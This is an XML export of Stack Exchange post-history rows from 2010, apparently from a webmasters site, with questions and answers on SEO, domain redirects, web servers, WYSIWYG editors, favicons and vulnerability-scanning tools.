  <row Id="420" PostHistoryTypeId="2" PostId="242" RevisionGUID="90c7f551-f19a-41a5-ba0e-afa88742b4d9" CreationDate="2010-07-08T20:56:34.907" UserId="96" Text="There is a lot more than this to SEO, it being a &quot;black art&quot; of sorts.  But here are a few of the tips I've received over the years.&#xD;&#xA;&#xD;&#xA; 1. Descriptive page titles with the `&lt;title&gt;` tag.&#xD;&#xA; 2. Use of the heading `&lt;h1&gt;`, `&lt;h2&gt;`, etc. tags for heading text&#xD;&#xA; 3. Key words in URLs, like `compiler-course.html` as opposed to `course4.html` or something equally cryptic.&#xD;&#xA; 4. Have a complete site map&#xD;&#xA; 5. Have footer links on every page.&#xD;&#xA; 6. Focus on the written copy/text of the page over the meta tags.&#xD;&#xA;&#xD;&#xA;Six Revisions has a [nice article on this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sixrevisions.com/web_design/improve-seo-website-design/" />
  <row Id="422" PostHistoryTypeId="2" PostId="243" RevisionGUID="542e441c-b731-434e-b988-71a680486fa0" CreationDate="2010-07-08T20:59:41.390" UserId="109" Text="As a 100% FOSS user myself, I would like to say yes:&#xD;&#xA;&#xD;&#xA;But it works fine until you realize that a library is half implemented and it is new and cool and would be really useful (LINQ to SQL as an example)" />
  <row Id="423" PostHistoryTypeId="2" PostId="244" RevisionGUID="e072f03c-749b-4f14-87a4-a430726b1f2c" CreationDate="2010-07-08T21:02:09.387" UserId="19" Text="Are there any good tools (desktop or online) which allow you to check whether your website has common vulnerabilities (e.g. SQL Injection, XSS)?" />
  <row Id="424" PostHistoryTypeId="1" PostId="244" RevisionGUID="e072f03c-749b-4f14-87a4-a430726b1f2c" CreationDate="2010-07-08T21:02:09.387" UserId="19" Text="Tools to check for common vulnerabilities?" />
  <row Id="425" PostHistoryTypeId="3" PostId="244" RevisionGUID="e072f03c-749b-4f14-87a4-a430726b1f2c" CreationDate="2010-07-08T21:02:09.387" UserId="19" Text="&lt;security&gt;" />
  <row Id="426" PostHistoryTypeId="2" PostId="245" RevisionGUID="1e57b9c6-54d8-4823-87b8-28b6b3c96dcd" CreationDate="2010-07-08T21:02:14.737" UserId="119" Text="I originally posted this as one of the defining questions for the site so I thought I'd ask it again.&#xD;&#xA;&#xD;&#xA;Currently I have DNS for both domains pointing to the same place but I'd like to set up a permanent redirect from the old one to the new one for any lingering links out in the wild." />
  <row Id="427" PostHistoryTypeId="1" PostId="245" RevisionGUID="1e57b9c6-54d8-4823-87b8-28b6b3c96dcd" CreationDate="2010-07-08T21:02:14.737" UserId="119" Text="I have an old domain that I'm retiring. How do I set up a permanent redirect from the old domain to the new one?" />
  <row Id="428" PostHistoryTypeId="3" PostId="245" RevisionGUID="1e57b9c6-54d8-4823-87b8-28b6b3c96dcd" CreationDate="2010-07-08T21:02:14.737" UserId="119" Text="&lt;dns&gt;&lt;redirects&gt;" />
  <row Id="429" PostHistoryTypeId="2" PostId="246" RevisionGUID="7e6dd621-1ab7-47a6-b405-afdae73ac603" CreationDate="2010-07-08T21:04:44.000" UserId="19" Text="This page lists how to do it using common web languages. Note the section entitled &quot;Redirect Old domain to New domain&quot;  &#xD;&#xA;http://www.webconfs.com/how-to-redirect-a-webpage.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, Google has provided a nice article on what to consider when moving your site.  &#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=83105&amp;hl=en" />
  <row Id="430" PostHistoryTypeId="2" PostId="247" RevisionGUID="5a0f1227-c12f-4f8c-b93c-016d05336ad7" CreationDate="2010-07-08T21:06:04.493" UserId="108" Text="If you are using windows 7 the best tool is IIS7's SEO Toolkit 1.0.  It is free and you can download it for free.&#xD;&#xA;&#xD;&#xA;The tool will scan any site and tell you where all of the dead links are, what pages take to long to load, what pages have missing titles, duplicate titles, same for keywords and descriptions, and what pages have broken HTML." />
  <row Id="431" PostHistoryTypeId="2" PostId="248" RevisionGUID="b43dd5d9-4055-49b2-b66e-e39a3f96b634" CreationDate="2010-07-08T21:06:54.680" UserId="26" Text="I'm a big fan of [**linklint**][1] for linkchecking large static sites, if you have a unix command line around (I've used on linux, MacOS, and FreeBSD). See their site for installation instructions. Once installed, I create a file called `check.ll` and do:&#xD;&#xA;&#xD;&#xA;    linklint @check.ll&#xD;&#xA;&#xD;&#xA;Here's what my check.ll file looks like&#xD;&#xA;&#xD;&#xA;    # linklint&#xD;&#xA;    -doc .&#xD;&#xA;    -delay 0&#xD;&#xA;    -http&#xD;&#xA;    -htmlonly&#xD;&#xA;    -limit 4000&#xD;&#xA;    -net&#xD;&#xA;    -host www.example.com&#xD;&#xA;    -timeout 10&#xD;&#xA;&#xD;&#xA;That does a crawl of `www.example.com` and generates HTML files with cross-referenced reports for what is broken, missing, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linklint.org/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="432" PostHistoryTypeId="2" PostId="249" RevisionGUID="919765c7-11d2-4f6b-a2cd-13430c8268f3" CreationDate="2010-07-08T21:07:42.383" UserId="23" Text="Can I use RDFa with HTML5?" />
  <row Id="433" PostHistoryTypeId="1" PostId="249" RevisionGUID="919765c7-11d2-4f6b-a2cd-13430c8268f3" CreationDate="2010-07-08T21:07:42.383" UserId="23" Text="Can I use RDFa with HTML5?" />
  <row Id="434" PostHistoryTypeId="3" PostId="249" RevisionGUID="919765c7-11d2-4f6b-a2cd-13430c8268f3" CreationDate="2010-07-08T21:07:42.383" UserId="23" Text="&lt;html5&gt;&lt;rdfa&gt;" />
  <row Id="435" PostHistoryTypeId="2" PostId="250" RevisionGUID="c4a4e208-bf91-4a8f-8bf3-aa4019eb6e37" CreationDate="2010-07-08T21:09:02.460" UserId="87" Text="I've traditionally deployed my sites under apache, simply by default.  I've heard things about NGinX though and I'm wondering under which conditions it would be superior. In addition to apache and Nginx, what the other options are for webservers and what are their benefits?" />
  <row Id="436" PostHistoryTypeId="1" PostId="250" RevisionGUID="c4a4e208-bf91-4a8f-8bf3-aa4019eb6e37" CreationDate="2010-07-08T21:09:02.460" UserId="87" Text="Is it worth looking into a webserver other than apache?" />
  <row Id="437" PostHistoryTypeId="3" PostId="250" RevisionGUID="c4a4e208-bf91-4a8f-8bf3-aa4019eb6e37" CreationDate="2010-07-08T21:09:02.460" UserId="87" Text="&lt;server&gt;&lt;apache&gt;&lt;nginx&gt;" />
  <row Id="438" PostHistoryTypeId="2" PostId="251" RevisionGUID="e4ae03fe-84a0-433f-a969-f5ddcc98b836" CreationDate="2010-07-08T21:09:14.783" UserId="118" Text="To gain &quot;the ability to rollback&quot;, I really suggest getting to know (well) either [git][1] or [mercurial][2] [(distributed version control systems)][3].&#xD;&#xA;&#xD;&#xA;The days when you should work with your source code in flat files is over with (now you should work with it in flat files but have a really robust change control system tracking them).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git-scm.com/&#xD;&#xA;  [2]: http://hginit.com/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Distributed_revision_control_system" />
  <row Id="439" PostHistoryTypeId="2" PostId="252" RevisionGUID="ccff4371-bc1c-422b-a6d1-cbd2a5d8e110" CreationDate="2010-07-08T21:11:21.953" UserId="109" Text="Depends on your storage engine for your tables. [It works only for ARCHIVE and MyISAM tables accordinto this MySQL Manual Page][1] and must be run on the same machine (ie not using local socket or TCP/IP)&#xD;&#xA;&#xD;&#xA;[MySQL also says][2]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&gt; If you are doing a backup on the&#xD;&#xA;&gt; server and your tables all are MyISAM&#xD;&#xA;&gt; tables, consider using the&#xD;&#xA;&gt; mysqlhotcopy instead because it can&#xD;&#xA;&gt; accomplish faster backups and faster&#xD;&#xA;&gt; restores.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/doc/refman/5.1/en/mysqlhotcopy.html&#xD;&#xA;  [2]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html" />
  <row Id="440" PostHistoryTypeId="2" PostId="253" RevisionGUID="2032fb78-b93c-4f93-9b61-de01a09d9350" CreationDate="2010-07-08T21:13:03.360" UserId="61" Text="[websecurify][1] is the best FOSS projects I have found.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websecurify.com/" />
  <row Id="441" PostHistoryTypeId="2" PostId="254" RevisionGUID="127af3ef-a252-4de8-9fed-2aca5c016ff1" CreationDate="2010-07-08T21:14:23.703" UserId="120" Text="I'm thinking something along the lines of [TinyMCE][1]&#xD;&#xA;&#xD;&#xA;Please include a list of features.&#xD;&#xA;&#xD;&#xA;Examples include:&#xD;&#xA;&#xD;&#xA; - supports text formatting&#xD;&#xA; - supports links&#xD;&#xA; - supports images&#xD;&#xA; - syntax types (markdown/wiki/etc)&#xD;&#xA; - licensing and/or pricing&#xD;&#xA; - customizibility&#xD;&#xA; - plugin support&#xD;&#xA;&#xD;&#xA;*Note: Please limit the answers to one editor per answer to preserve cleanliness*&#xD;&#xA;&#xD;&#xA;  [1]: http://tinymce.moxiecode.com/" />
  <row Id="442" PostHistoryTypeId="1" PostId="254" RevisionGUID="127af3ef-a252-4de8-9fed-2aca5c016ff1" CreationDate="2010-07-08T21:14:23.703" UserId="120" Text="What options are out there for an embeddable WYSIWIG text editor?" />
  <row Id="443" PostHistoryTypeId="3" PostId="254" RevisionGUID="127af3ef-a252-4de8-9fed-2aca5c016ff1" CreationDate="2010-07-08T21:14:23.703" UserId="120" Text="&lt;wysiwyg&gt;&lt;embedded-control&gt;&lt;text-editor&gt;" />
  <row Id="444" PostHistoryTypeId="16" PostId="254" RevisionGUID="127af3ef-a252-4de8-9fed-2aca5c016ff1" CreationDate="2010-07-08T21:14:23.703" UserId="120" />
  <row Id="445" PostHistoryTypeId="2" PostId="255" RevisionGUID="e392f9bd-2d02-4791-a3be-d98a550f3dea" CreationDate="2010-07-08T21:15:41.940" UserId="36" Text="[TinyMCE][1]&#xD;&#xA;&#xD;&#xA; - Easy to integrate  - Only a few lines of code needed.&#xD;&#xA; - Customizable - Themes and plugins, block invalid elements and force attributes.&#xD;&#xA; - Browserfriendly - Mozilla, MSIE, FireFox, Opera, Safari and Chrome.&#xD;&#xA; - Lightweight - PHP/.NET/JSP/Coldfusion GZip compressor, Makes TinyMCE 75% smaller and a lot faster to load.&#xD;&#xA; - AJAX Compatible - You can easily use AJAX to save and load content!&#xD;&#xA; - International - Multilanguage support using language packs.&#xD;&#xA; - Open Source - Free under the LGPL license, millions of ppl help test and improve this editor every day.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tinymce.moxiecode.com/" />
  <row Id="446" PostHistoryTypeId="16" PostId="255" RevisionGUID="e392f9bd-2d02-4791-a3be-d98a550f3dea" CreationDate="2010-07-08T21:15:41.940" UserId="-1" />
  <row Id="447" PostHistoryTypeId="2" PostId="256" RevisionGUID="705f897b-f57f-48f5-a9a9-fa1e037dbde1" CreationDate="2010-07-08T21:15:50.537" UserId="87" Text="I've heard it suggested that using setting a page's Content-Encoding to zip or gzip will drive down load times and reduce bandwidth.  Is this worth implementing for the average site or only sites with a high load?  Also, how does one go about setting up pages to be served in this way in a LAMP environment?  Is there a practical difference between zip and gzip?" />
  <row Id="448" PostHistoryTypeId="1" PostId="256" RevisionGUID="705f897b-f57f-48f5-a9a9-fa1e037dbde1" CreationDate="2010-07-08T21:15:50.537" UserId="87" Text="Proper use of Content-Encoding" />
  <row Id="449" PostHistoryTypeId="3" PostId="256" RevisionGUID="705f897b-f57f-48f5-a9a9-fa1e037dbde1" CreationDate="2010-07-08T21:15:50.537" UserId="87" Text="&lt;compression&gt;&lt;gzip&gt;&lt;content-encoding&gt;" />
  <row Id="450" PostHistoryTypeId="2" PostId="257" RevisionGUID="62192dfc-b98e-446c-98e8-72c1d2465b18" CreationDate="2010-07-08T21:15:56.713" UserId="100" Text="I would consider using a **WordPress plugin** called &quot;WordPress Database Backup (WP-DB-Backup)&quot; which is also listed on the Wordpress Database backup [guide][1]. This plugin can backup the database on a schedule and email it to you(assuming its a small database). You can also just back it up locally. You can exclude comment spam and revisions to make the DB smaller&#xD;&#xA;&#xD;&#xA;*Less control but easier to implement.*&#xD;&#xA;&#xD;&#xA;MySQL dumps give you the *most control*. Your hosting service can also be a limiting factor. Some hosts don't give you access to run cron jobs or run the mysqldump command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Backing_Up_Your_Database" />
  <row Id="451" PostHistoryTypeId="2" PostId="258" RevisionGUID="3d67a046-1b4c-43d3-bff1-53430bee3d4f" CreationDate="2010-07-08T21:16:14.640" UserId="19" Text="[CKEditor][1]&#xD;&#xA;&#xD;&#xA; - Open Source (Free)&#xD;&#xA; - Clean output&#xD;&#xA; - Fast loading&#xD;&#xA; - Great javascript API&#xD;&#xA; - Lots of documentation&#xD;&#xA; - Lots of great samples in various languages&#xD;&#xA; - You can easily build plugins&#xD;&#xA; - Very easy to install and configure&#xD;&#xA; - Has a large user base&#xD;&#xA;&#xD;&#xA;  [1]: http://ckeditor.com/" />
  <row Id="452" PostHistoryTypeId="16" PostId="258" RevisionGUID="3d67a046-1b4c-43d3-bff1-53430bee3d4f" CreationDate="2010-07-08T21:16:14.640" UserId="-1" />
  <row Id="455" PostHistoryTypeId="2" PostId="260" RevisionGUID="95cca6b8-5686-4902-b647-b319246617e3" CreationDate="2010-07-08T21:17:20.583" UserId="124" Text="If I register a really good .com domain name, should I also register:&#xD;&#xA;&#xD;&#xA;- alternate spellings&#xD;&#xA;- mis-spellings&#xD;&#xA;- hyphenated versions&#xD;&#xA;- other variations: iExample.com, eExample.com, myExample.com, etc.&#xD;&#xA;- other TLDs: .org, .net, .biz, .info&#xD;&#xA;- international TLDs&#xD;&#xA;&#xD;&#xA;Which definitely, which maybe and which no? How do you know where to draw the line?" />
  <row Id="456" PostHistoryTypeId="1" PostId="260" RevisionGUID="95cca6b8-5686-4902-b647-b319246617e3" CreationDate="2010-07-08T21:17:20.583" UserId="124" Text="Should I preemptively register alternate domain names?" />
  <row Id="457" PostHistoryTypeId="3" PostId="260" RevisionGUID="95cca6b8-5686-4902-b647-b319246617e3" CreationDate="2010-07-08T21:17:20.583" UserId="124" Text="&lt;domains&gt;&lt;registration&gt;" />
  <row Id="458" PostHistoryTypeId="2" PostId="261" RevisionGUID="3c21b1c4-cc6e-4c1f-8bb7-ad45bf6b314a" CreationDate="2010-07-08T21:17:48.010" UserId="26" Text="Whenever I generate a [`favicon.ico`][1] using [html-kit.com][2], it gives me the option to get an animated version. I've never used an animated `favicon.ico`, but other than it being &quot;visually noisy&quot; is there any reason it's a bad idea?&#xD;&#xA;&#xD;&#xA;Are there any creative or interesting usages of an animated `favicon.ico`s out there?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon&#xD;&#xA;  [2]: http://www.html-kit.com/favicon/" />
  <row Id="459" PostHistoryTypeId="1" PostId="261" RevisionGUID="3c21b1c4-cc6e-4c1f-8bb7-ad45bf6b314a" CreationDate="2010-07-08T21:17:48.010" UserId="26" Text="Is an animated favicon.ico a bad idea? Are there cool uses of animated favicon.ico out there?" />
  <row Id="460" PostHistoryTypeId="3" PostId="261" RevisionGUID="3c21b1c4-cc6e-4c1f-8bb7-ad45bf6b314a" CreationDate="2010-07-08T21:17:48.010" UserId="26" Text="&lt;graphics&gt;&lt;favicon&gt;&lt;branding&gt;" />
  <row Id="461" PostHistoryTypeId="2" PostId="262" RevisionGUID="5032ed91-a998-4aeb-b85c-87fedadfd1f7" CreationDate="2010-07-08T21:17:59.477" UserId="120" Text="What specific steps to I need to take to set it up?&#xD;&#xA;&#xD;&#xA;Do I need special post-commit hooks to update the remote copy of the site?&#xD;&#xA;&#xD;&#xA;Do I need SSH access to the remote server?&#xD;&#xA;&#xD;&#xA;I'm looking for a setup where I can push the changes to the remote repository and the changes will be published to the website." />
  <row Id="462" PostHistoryTypeId="1" PostId="262" RevisionGUID="5032ed91-a998-4aeb-b85c-87fedadfd1f7" CreationDate="2010-07-08T21:17:59.477" UserId="120" Text="How would I setup Mercurial to track site revisions on a shared host?" />
  <row Id="463" PostHistoryTypeId="3" PostId="262" RevisionGUID="5032ed91-a998-4aeb-b85c-87fedadfd1f7" CreationDate="2010-07-08T21:17:59.477" UserId="120" Text="&lt;shared-hosting&gt;" />
  <row Id="465" PostHistoryTypeId="2" PostId="263" RevisionGUID="05c8add9-1aec-43fd-ae3b-16ec7b96065c" CreationDate="2010-07-08T21:21:53.787" UserId="82" Text="Microsoft has a [Code Analysis Tool][1] that does this (here is a [Channel 9 video][2] on it, and here is a [download link][4] for v1).  Wikipedia also has a pretty good list of [static code analysis][3] tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.msdn.com/securitytools&#xD;&#xA;  [2]: http://channel9.msdn.com/posts/Jossie/Using-the-Code-Analysis-Tool-CATNET-20-to-Identify-Security-Vulnerabilities/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis&#xD;&#xA;  [4]: http://www.microsoft.com/downloads/details.aspx?FamilyId=0178e2ef-9da8-445e-9348-c93f24cc9f9d&amp;displaylang=en" />
  <row Id="466" PostHistoryTypeId="5" PostId="258" RevisionGUID="c73562c7-3c5e-4ef7-b6f4-c2478c42cee2" CreationDate="2010-07-08T21:22:32.303" UserId="19" Comment="more links.. more info" Text="#[CKEditor][1]#&#xD;&#xA;&#xD;&#xA; - Open Source (Free)&#xD;&#xA; - Clean output&#xD;&#xA; - Fast loading&#xD;&#xA; - Great [javascript API][2]&#xD;&#xA; - Lots of [documentation][3]&#xD;&#xA; - Lots of great samples in various programming frameworks&#xD;&#xA; - You can easily build plugins&#xD;&#xA; - You can easily create [custom toolbar functionality][4]&#xD;&#xA; - Supports [custom file browsers][5] in addition to the [one they sell][6]&#xD;&#xA; - Very easy to install and configure&#xD;&#xA; - Has a large user base&#xD;&#xA; - It has nifty [jQuery adapter][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ckeditor.com/&#xD;&#xA;  [2]: http://docs.cksource.com/ckeditor_api/&#xD;&#xA;  [3]: http://docs.cksource.com/&#xD;&#xA;  [4]: http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Dialog_Customization&#xD;&#xA;  [5]: http://docs.cksource.com/CKEditor_3.x/Developers_Guide/File_Browser_(Uploader)/Custom_File_Browser&#xD;&#xA;  [6]: http://docs.cksource.com/CKFinder_2.x&#xD;&#xA;  [7]: http://docs.cksource.com/CKEditor_3.x/Developers_Guide/jQuery_Adapter" />
  <row Id="467" PostHistoryTypeId="2" PostId="264" RevisionGUID="084cded5-26fe-4c38-8c6c-9039a4c8a3de" CreationDate="2010-07-08T21:23:19.637" UserId="120" Text="I'm looking for a tool that can:&#xD;&#xA;&#xD;&#xA; - inspect HTML elements&#xD;&#xA; - manage/debug JavaScript&#xD;&#xA; - profile performance &#xD;&#xA; - modify elements in real-time" />
  <row Id="468" PostHistoryTypeId="1" PostId="264" RevisionGUID="084cded5-26fe-4c38-8c6c-9039a4c8a3de" CreationDate="2010-07-08T21:23:19.637" UserId="120" Text="What is the Google Chrome equivalent to Firebug?" />
  <row Id="469" PostHistoryTypeId="3" PostId="264" RevisionGUID="084cded5-26fe-4c38-8c6c-9039a4c8a3de" CreationDate="2010-07-08T21:23:19.637" UserId="120" Text="&lt;development&gt;&lt;performance&gt;&lt;google-chrome&gt;&lt;profiling&gt;" />
  <row Id="470" PostHistoryTypeId="2" PostId="265" RevisionGUID="86e819b4-03bb-4a60-b52b-4a8f38cb7ea4" CreationDate="2010-07-08T21:25:18.813" UserId="72" Text="Right-Click -&gt; Inspect Element" />
  <row Id="471" PostHistoryTypeId="2" PostId="266" RevisionGUID="46cf84b5-1a55-46cc-a034-2da0026637c5" CreationDate="2010-07-08T21:25:58.157" UserId="130" Text="It's built in. Tools (wrench) -&gt; Developer -&gt; Developer tools." />
  <row Id="472" PostHistoryTypeId="5" PostId="261" RevisionGUID="9ff61c95-1a07-4dec-b172-8f00d5f33477" CreationDate="2010-07-08T21:26:00.683" UserId="26" Comment="deleted 1 characters in body" Text="Whenever I generate a [`favicon.ico`][1] using [html-kit.com][2], it gives me the option to get an animated version. I've never used an animated `favicon.ico`, but other than it being &quot;visually noisy&quot; is there any reason it's a bad idea?&#xD;&#xA;&#xD;&#xA;Are there any creative or interesting usages of an animated `favicon.ico` out there?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon&#xD;&#xA;  [2]: http://www.html-kit.com/favicon/" />
  <row Id="473" PostHistoryTypeId="16" PostId="244" RevisionGUID="303c2c19-58e1-440e-ad25-d31ec8df2752" CreationDate="2010-07-08T21:26:01.230" UserId="19" />
  <row Id="474" PostHistoryTypeId="2" PostId="267" RevisionGUID="38c89314-977e-4215-8b7f-b931c061c10f" CreationDate="2010-07-08T21:29:46.007" UserId="26" Text="There are a PILE of webservers out there. I expect depends on the usage you want. Apache will do most of what people want, it's known good, well updated, and will run on nearly any hardware and operating system combination.&#xD;&#xA;&#xD;&#xA;For a comparison of web servers, check [Comparison of web server software][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Comparison_of_web_server_software" />
  <row Id="475" PostHistoryTypeId="2" PostId="268" RevisionGUID="6407ff88-239d-48ed-bf21-da1caebd3d9e" CreationDate="2010-07-08T21:30:46.757" UserId="120" Text="I'd really like to implement some of the new features that come standard with HTML5 but I want to be able to do it in a way that doesn't break my site.&#xD;&#xA;&#xD;&#xA;I know that Progressive Enhancement and checking the useragent is always an option. Are there any better alternatives out there?" />
  <row Id="476" PostHistoryTypeId="1" PostId="268" RevisionGUID="6407ff88-239d-48ed-bf21-da1caebd3d9e" CreationDate="2010-07-08T21:30:46.757" UserId="120" Text="How would I go about migrating to HTML5 without alienating the majority of my user audience?" />
  <row Id="477" PostHistoryTypeId="3" PostId="268" RevisionGUID="6407ff88-239d-48ed-bf21-da1caebd3d9e" CreationDate="2010-07-08T21:30:46.757" UserId="120" Text="&lt;html5&gt;" />
  <row Id="478" PostHistoryTypeId="5" PostId="254" RevisionGUID="e880bf14-14e8-4700-9838-009b1919de6f" CreationDate="2010-07-08T21:32:19.703" UserId="120" Comment="added 87 characters in body" Text="I'm thinking something along the lines of [TinyMCE][1]&#xD;&#xA;&#xD;&#xA;Please include a list of features.&#xD;&#xA;&#xD;&#xA;Examples include:&#xD;&#xA;&#xD;&#xA; - supports text formatting&#xD;&#xA; - supports links&#xD;&#xA; - supports images&#xD;&#xA; - syntax types (markdown/wiki/etc)&#xD;&#xA; - licensing and/or pricing&#xD;&#xA; - customizibility&#xD;&#xA; - plugin support&#xD;&#xA; - browser compatibility&#xD;&#xA;&#xD;&#xA;*Note: Please limit the answers to one editor per answer to preserve cleanliness*&#xD;&#xA;&#xD;&#xA;**Update: Forgot to add browser compatibility to the list**&#xD;&#xA;  [1]: http://tinymce.moxiecode.com/" />
  <row Id="479" PostHistoryTypeId="2" PostId="269" RevisionGUID="cc912943-46e9-444c-820a-8a25f0bd87ef" CreationDate="2010-07-08T21:32:24.667" UserId="6" Text="[Firebug Lite for Google Chrome][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/releases/lite/chrome/" />
  <row Id="480" PostHistoryTypeId="2" PostId="270" RevisionGUID="87d86852-31a6-45c2-b2aa-e7c5cbc140fd" CreationDate="2010-07-08T21:35:06.570" UserId="129" Text="That depends very much on how important the site you are talking about is going to be. It is not unknown for spammers and such to buy those &quot;alternative&quot; domain names because people tend to make spelling mistakes and then land on those pages. Of course this will only happen if your site is really huge, otherwise nobody will bother. &#xD;&#xA;&#xD;&#xA;Some slight variations so users have less difficulty remembering your site (hyphenated for example) or international TLDs if you have a site in several languages are reasonable extra domains to register. " />
  <row Id="481" PostHistoryTypeId="5" PostId="261" RevisionGUID="ad3401e5-b61e-47b4-8689-65b38c352af2" CreationDate="2010-07-08T21:36:32.497" UserId="26" Comment="added caveat re: animation" Text="Whenever I generate a [`favicon.ico`][1] using [html-kit.com][2], it gives me the option to get an animated version. I've never used an animated favicon, but other than it being &quot;visually noisy&quot; is there any reason it's a bad idea?&#xD;&#xA;&#xD;&#xA;Are there any creative or interesting usages of an animated favicon out there?&#xD;&#xA;&#xD;&#xA;**EDIT** To be clear, the animated version html-kit gives you is a GIF, which you can point to using a meta tag. *Sorry for implying favicon.ico image format supports animation!*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon&#xD;&#xA;  [2]: http://www.html-kit.com/favicon/" />
  <row Id="482" PostHistoryTypeId="2" PostId="271" RevisionGUID="66139010-401c-4022-ad3a-9e0a9d548bab" CreationDate="2010-07-08T21:36:38.037" UserId="118" Text="First of all, when it comes to variations, you'll have access to all the subdomains that you could ever want, so choices of variations are at your fingertips already.  e.g. i.areallygood.com iphone.areallygood.com, my.areallygood.com &#xD;&#xA;&#xD;&#xA;If you have .com, that's the primary name to have control over.&#xD;&#xA;&#xD;&#xA;Misspellings will only matter if you make the site worthwhile and frequently used, so certainly that's the place to focus first.  You have to have a popularity like google.com before misspellings start to matter for you.  You should have plenty of warning before your site approaches that level.  If you're buying more than 2 domain names in the early stages of your site, you're doing it wrong.&#xD;&#xA;&#xD;&#xA;So I think the only place to really watch yourself is alternate spellings.  Ideally you'll create a domain name that is unambiguous so that you don't need to consider alternate spellings at all.  The more clear your choice, the better your pr will be, the better your seo will be anyway.  If you must create a site like abearlygood.com, then you'll have to consider getting abarelygood.com as well, but better to avoid the problem to begin with.&#xD;&#xA;" />
  <row Id="483" PostHistoryTypeId="2" PostId="272" RevisionGUID="10d6894e-3dd7-448e-939e-08aad70d5f58" CreationDate="2010-07-08T21:38:13.233" UserId="81" Text="A much more accurate way to determine the type of browser you're dealing with is by feature dectection, not by reading useragent.&#xD;&#xA;&#xD;&#xA;[jQuery has .support()][1] that is a great way to do this. &#xD;&#xA;&#xD;&#xA;As with any feature, just make sure that if you want to implement something that it degrades gracefully for older browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://api.jquery.com/jQuery.support/" />
  <row Id="484" PostHistoryTypeId="4" PostId="202" RevisionGUID="33944977-f579-4904-ad30-5aa157f9b2c9" CreationDate="2010-07-08T21:38:30.563" UserId="108" Comment="edited title" Text="How do I handle having to many links on a webpage because of my menu" />
  <row Id="485" PostHistoryTypeId="5" PostId="9" RevisionGUID="38de70a9-20be-4981-bc48-90f5937f6102" CreationDate="2010-07-08T21:38:31.313" UserId="26" Comment="fixed typo" Text="I have used numerous domain registrars in the past, including Godaddy, 1&amp;1, Host Monster, IX web Hosting, the list goes on. (not talking about hosting)&#xD;&#xA;&#xD;&#xA;I currently use GoDaddy, however, I'm not to happy with them at the moment. I need a great registrar! One who:&#xD;&#xA;&#xD;&#xA;- makes transferring easy makes&#xD;&#xA;- registration pain free, no up-selling&#xD;&#xA;- has domain management great&#xD;&#xA;- has amazing customer service&#xD;&#xA;&#xD;&#xA;Maybe such a company does not exist. I don't know. Do you know of one?" />
  <row Id="486" PostHistoryTypeId="2" PostId="273" RevisionGUID="75581405-03e3-4102-a3a0-63689f17d971" CreationDate="2010-07-08T21:39:34.683" UserId="120" Text="I'm looking for a minimum of fuss here to get up and running.&#xD;&#xA;&#xD;&#xA;Bonuses: &#xD;&#xA; - cross platform&#xD;&#xA; - portable (can be installed/run from a USB)" />
  <row Id="487" PostHistoryTypeId="1" PostId="273" RevisionGUID="75581405-03e3-4102-a3a0-63689f17d971" CreationDate="2010-07-08T21:39:34.683" UserId="120" Text="What is the easiest/lightest setup to get a basic LAMP stack setup for development?" />
  <row Id="488" PostHistoryTypeId="3" PostId="273" RevisionGUID="75581405-03e3-4102-a3a0-63689f17d971" CreationDate="2010-07-08T21:39:34.683" UserId="120" Text="&lt;development&gt;&lt;lamp&gt;&lt;http-server&gt;" />
  <row Id="489" PostHistoryTypeId="6" PostId="131" RevisionGUID="7b73a590-d2fa-4622-aa4e-67eeb05f8dea" CreationDate="2010-07-08T21:42:12.093" UserId="41" Comment="edited tags" Text="&lt;process&gt;&lt;database&gt;&lt;mysql&gt;&lt;backups&gt;" />
  <row Id="491" PostHistoryTypeId="2" PostId="274" RevisionGUID="338c0d0a-5ab6-4055-85e7-9cb4918e8a3e" CreationDate="2010-07-08T21:42:35.010" UserId="126" Text="How to choose between normal web hosting and cloud hosting, what are the key points that can make this decision easier.  &#xD;&#xA;and does everything i can do in the normal web hosting is possible in cloud one?  &#xD;&#xA;In Brief, when to choose which?" />
  <row Id="492" PostHistoryTypeId="1" PostId="274" RevisionGUID="338c0d0a-5ab6-4055-85e7-9cb4918e8a3e" CreationDate="2010-07-08T21:42:35.010" UserId="126" Text="How to choose between web hosting and cloud hosting?" />
  <row Id="493" PostHistoryTypeId="3" PostId="274" RevisionGUID="338c0d0a-5ab6-4055-85e7-9cb4918e8a3e" CreationDate="2010-07-08T21:42:35.010" UserId="126" Text="&lt;web-hosting&gt;&lt;cloud-hosting&gt;&lt;web-development&gt;" />
